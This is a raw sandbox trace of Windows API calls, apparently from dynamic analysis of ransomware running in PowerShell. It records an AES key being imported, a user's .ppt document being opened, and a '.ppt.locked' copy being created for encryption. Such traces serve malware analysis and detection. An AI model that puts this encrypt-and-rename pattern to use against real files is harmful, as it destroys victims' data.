Memory=0x43b19c4) returned 0x0 [0133.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0133.184] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.185] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0133.185] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0133.185] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.185] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0133.185] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0133.185] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.185] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0133.185] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0133.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0133.185] SystemFunction041 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.186] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0133.186] SystemFunction040 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0133.186] SystemFunction041 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.186] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0133.186] SystemFunction040 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0133.186] SystemFunction041 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.186] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0133.186] SystemFunction040 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0133.186] SystemFunction041 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.186] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0133.186] SystemFunction040 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0133.187] SystemFunction041 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.187] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0133.187] SystemFunction040 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0133.187] SystemFunction041 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.187] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0133.187] SystemFunction040 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0133.187] SystemFunction041 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.187] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0133.187] SystemFunction040 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0133.188] SystemFunction041 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.188] SystemFunction040 (in: Memory=0x43831cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43831cc) returned 0x0 [0133.188] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0133.188] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0133.188] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0133.188] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0133.188] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0133.188] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0133.188] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0133.189] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0133.189] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.189] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0133.189] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0133.190] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e027a0) returned 1 [0133.190] CryptImportKey (in: hProv=0x8e027a0, pbData=0x6a58a7c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84cf8) returned 1 [0133.190] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.190] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.190] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.190] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.190] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.192] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt")) returned 0x20 [0133.192] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt")) returned 0x20 [0133.192] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.192] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.193] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.193] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.193] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.193] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.194] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.194] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x78, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.194] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.194] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt", lpFilePart=0x0) returned 0x47 [0133.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.194] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0133.195] GetFileType (hFile=0x858) returned 0x1 [0133.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.195] GetFileType (hFile=0x858) returned 0x1 [0133.195] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.195] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0133.195] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.195] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x79, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.195] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.195] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt.locked", lpFilePart=0x0) returned 0x4e [0133.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0133.195] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0133.196] GetFileType (hFile=0x874) returned 0x1 [0133.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0133.196] GetFileType (hFile=0x874) returned 0x1 [0133.196] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7a, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.196] CryptGenRandom (in: hProv=0x8e027a0, dwLen=0x10, pbBuffer=0x6a710ac | out: pbBuffer=0x6a710ac) returned 1 [0133.196] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.196] CryptDuplicateKey (in: hKey=0x8e84cf8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84fb8) returned 1 [0133.196] CryptContextAddRef (hProv=0x8e027a0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.196] CryptSetKeyParam (hKey=0x8e84fb8, dwParam=0x4, pbData=0x6a72368*=0x1, dwFlags=0x0) returned 1 [0133.196] CryptSetKeyParam (hKey=0x8e84fb8, dwParam=0x1, pbData=0x6a72334, dwFlags=0x0) returned 1 [0133.196] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x2c30\x438\x242") returned 0x0 [0133.197] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, 